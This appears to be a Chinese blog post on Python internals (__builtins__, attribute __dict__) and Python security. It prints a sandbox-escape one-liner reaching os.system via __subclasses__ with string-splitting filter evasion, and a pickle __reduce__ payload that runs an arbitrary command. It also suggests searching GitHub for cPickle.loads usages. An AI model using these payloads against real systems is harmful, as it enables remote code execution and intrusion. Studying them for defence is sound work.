zoukankan      html  css  js  c++  java
  • Python的一些高级特性以及反序列化漏洞

    0x01 简述

      文章主要记录一下python高级特性以及安全相关的问题

    python作为脚本语言,其作为高级语言是由c语言开发的,关于python的编译和链接可以看向这里https://github.com/python/cpython(建议自己读读源码,可以更好的理解python的语言特性等。)

    python标准库:

    python标准库包含内置模块(有c语言实现,主要提供接入系统的基本功能,例如文件的IO),还有一些python实现的模块提供了类似于其它语言的一些标准解决方案。

    python自带了内置库和第三方库的文档查看器:命令行输入:

    python –m pydoc –p 8888

    查看

    内置模块(c语言实现)

     内置模块(python实现)

    第三方模块

    python一般的package结构图

    0x02 python的一些特性

    1> __builtin__与__builtins__的区别与关系
    python有一个内建模块,该模块会在python启动后,但在没有执行python代码前,会被加载到内存.即可用调用里面的函数,其中__builtin__只存在与python2.x中__builtins__在python2.x/3.x都有,是内建模块一个引用,与__builtin__相同的是也会一开始被先于程序加载到内存它们存在如下的区别:

    1、在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此
    2、非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身可以参考这篇文章: https://www.jianshu.com/p/645e97383c1f

    2> 属性的__dict__

    Python中的属性是分层定义的,当我们需要调用某个属性的时候,Python会一层层向上遍历,直到找到那个属性。(某个属性可能出现在不同的层被重复定义,Python向上的过程中,会选取先遇到的那一个,也就是比较低层的属性定义)。

    下面用张图展示一下其中的关系

    例如下面的代码:

    class bird(object):
        feather = True
    
    class chicken(bird):
        fly = False
        def __init__(self, age):
            self.age = age
        def eat(self):
            print("eat")
        class malechicken(object):
            sex = "male"
    
    summer = chicken(2)
    
    print(bird.__dict__)
    print(chicken.__dict__)
    print(summer.__dict__)

    输出:

    /Library/Frameworks/Python.framework/Versions/3.5/bin/python3.5 /Users/m0rk/GitHub/Demo/request_debug.py
    {'__doc__': None, '__module__': '__main__', '__weakref__': <attribute '__weakref__' of 'bird' objects>, '__dict__': <attribute '__dict__' of 'bird' objects>, 'feather': True}
    {'__doc__': None, '__module__': '__main__', 'fly': False, 'malechicken': <class '__main__.chicken.malechicken'>, '__init__': <function chicken.__init__ at 0x1045e8488>, 'eat': <function chicken.eat at 0x1045e8598>}
    {'age': 2}
    
    Process finished with exit code 0

     可参考:

    http://www.cnblogs.com/vamei/archive/2012/12/11/2772448.html

    http://hbprotoss.github.io/posts/python-descriptor.html

    0x03 python沙箱绕过

       最早的文章见这里https://hexplo.it/escaping-the-csawctf-python-sandbox/

    rickgray 修改成更为通用的poc,文章见这里 http://rickgray.me/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates

    [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('id')

    0x04 反序列化漏洞

       同其它语言一样,python也有序列化的功能,官方库里提供了pickle/cPickle的库用于序列化和反序列化,这两个库的作用和使用方法都是一致的,只是一个用纯py实现,另一个用c实现。

    python序列化的payload如下:

    #!/usr/bin/env python
    import cPickle
    import os
    
    class exp(object):
        def __reduce__(self):
            ser = """put command here"""
            return (os.system, (ser,))
    
    e = exp()
    ser = cPickle.dumps(e)

    当有存在漏洞的系统反序列化我们的payload的时候,命令就执行了。

    0x05 其它

      在这篇文章中 Python Pickle反序列化带来的安全问题(http://www.vuln.cn/8094) 作者提到了 请灵活使用google 即在google中搜索 cPickle.loads( site:github.com 既可寻找反序列化在现实中的应用,挺不错的,学习了

    0x06 Reference

      1. https://github.com/bit4woo/python_sec

      2. Python Pickle反序列化带来的安全问题  http://www.vuln.cn/8094 

      3.python 正向连接后门 https://www.leavesongs.com/PYTHON/python-shell-backdoor.html 

  • 相关阅读:
    【读书笔记】iOS-网络-使用推送通知
    【读书笔记】iOS-网络-测试与操纵网络流量
    【读书笔记】iOS-网络-底层网络
    【读书笔记】iOS-网络-优化请求性能
    【读书笔记】iOS-网络-保护网络传输
    【读书笔记】iOS-网络-错误处理的经验法则
    【读书笔记】iOS-网络-三种错误
    【读书笔记】iOS-网络-理解错误源
    【读书笔记】iOS-网络-解析响应负载
    【读书笔记】iOS-网络-负载
  • 原文地址:https://www.cnblogs.com/mrchang/p/6547503.html
Copyright © 2011-2022 走看看